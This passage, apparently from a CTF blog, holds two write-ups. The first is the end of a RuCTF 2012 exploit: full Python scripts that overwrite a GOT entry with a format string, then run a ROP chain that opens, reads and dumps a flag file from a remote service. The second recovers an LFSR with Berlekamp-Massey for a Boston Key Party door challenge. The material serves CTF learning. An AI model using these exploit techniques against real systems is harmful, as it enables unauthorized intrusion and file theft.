#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)

payload += "B"*284

payload += file_to_read  
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8                         # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40)     # restore stack
con.write(payload + "\n")

print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Unreal.ngLog.2012.07.21.01.53.09.7777.log
Unreal.ngLog.2012.07.21.02.41.14.7777.log
Unreal.ngLog.2012.07.21.01.42.52.7777.log
Unreal.ngLog.2012.07.21.02.44.35.7777.log
Unreal.ngLog.2012.07.24.03.58.53.7777.log
Unreal.ngLog.2012.07.21.02.21.05.7777.log
Unreal.ngLog.2012.07.21.02.49.50.7777.log
Unreal.ngLog.2012.07.21.01.27.20.7777.log
*-xi8
Unreal.ngLog.2012.07.21.01.11.16.7777.log
Unreal.ngLog.2012.07.21.02.58.49.7777.log
Unreal.ngLog.2012.07.21.01.58.17.7777.log
XOw8
Unreal.ngLog.2012.07.21.03.02.54.7777.log
Unreal.ngLog.2012.07.21.02.09.24.7777.log

[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
The final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag

[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")

file_to_read  = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload  = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56)     # filename
payload += struct.pack("<I", 0x0804875d) # readmode

payload += struct.pack("<I", plt_read)   # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5)        # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)

payload += struct.pack("<I", plt_write)  # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read

con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py 
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D

Wednesday, March 5, 2014

Boston Key Party CTF 2014 - Door 1 - Crypto 500 - [Team SegFault]

Description:
You need to open door no 5 in a secret facility. We have been trying to brute-force the door without success. One of our agents was able to infiltrate the control room and take a picture. The server is known to use some kind of problematic random number generator for the authentication. Open the door. The service is accessible on 54.186.6.201:8901, good luck with your mission. UPDATE/HINT: LFSR.

We were given an image file with some info, showing the challenge and response communication.
To start with, it was my friend who asked me to look into this problem and said, the challenge received might be seed for LFSR and output sequence might be the expected reply. Lets see.

[*] The challenge received is a 4 byte value. If it has to be seed for LFSR, then the LFSR should have 32 registers to deal with 4 bytes
[*] The screen capture shows a big number which might be a possible output sequence

Below is the number:
0xe4ca194f7b2ab2b3fbe705c
This is how the bitstream looked like:
11100100110010100001100101001111011110110010101010110010101100111111101111100111000001011100
With 92 bits of output sequence in hand and a possible 32 register LFSR, we can find the LFSR feedback function by feeding the Berlekamp-Massey algorithm with 64 bits(2 * length of LFSR) of the output sequnce.

The feedback function found is:
1 + x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32
The degree of the polynomial is 32, which supports the possible length of LFSR being 32.

Now, if the sequence 0xe4ca194f7b2ab2b3fbe705c can be generated using the above function and seed 0xf2985327, then we are on right track.
#!/usr/bin/env python

chall = 0xf2985327
seed = [int(i) for i in bin(chall)[2:]]  
# x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32 + 1
feedback_function = [1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]

output = ''
for i in range(96):
    feedback = 0
    output += str(seed[-1])
    for i in range(len(seed)):
        feedback = (seed[i] * feedback_function[i] + feedback) % 2
    seed = [feedback] + seed[:-1]
 
print hex(int(output,2))
[ctf@renorobert BKP]$ python cry500.py
0xe4ca194f7b2ab2b3fbe705ccL
The generated output sequence is equal to the one in the screen capture, so we got the LFSR design right!
Now the amount of bits to be sent as response should be bruteforced. I incremented byte by byte from 96 bits, but soon I was told in IRC that 296 bits is all thats needed. Sending a 296 bits reply gave us the flag.
0x8d3c22ea
0x57443cb1e7daf6a45be190d11d3a1b4902633133d62d5900fd134c3caa91d5c233342fce62
response
> Door open: n0t_s0_r4nd0m_029210
Flag for the challenge is n0t_s0_r4nd0m_029210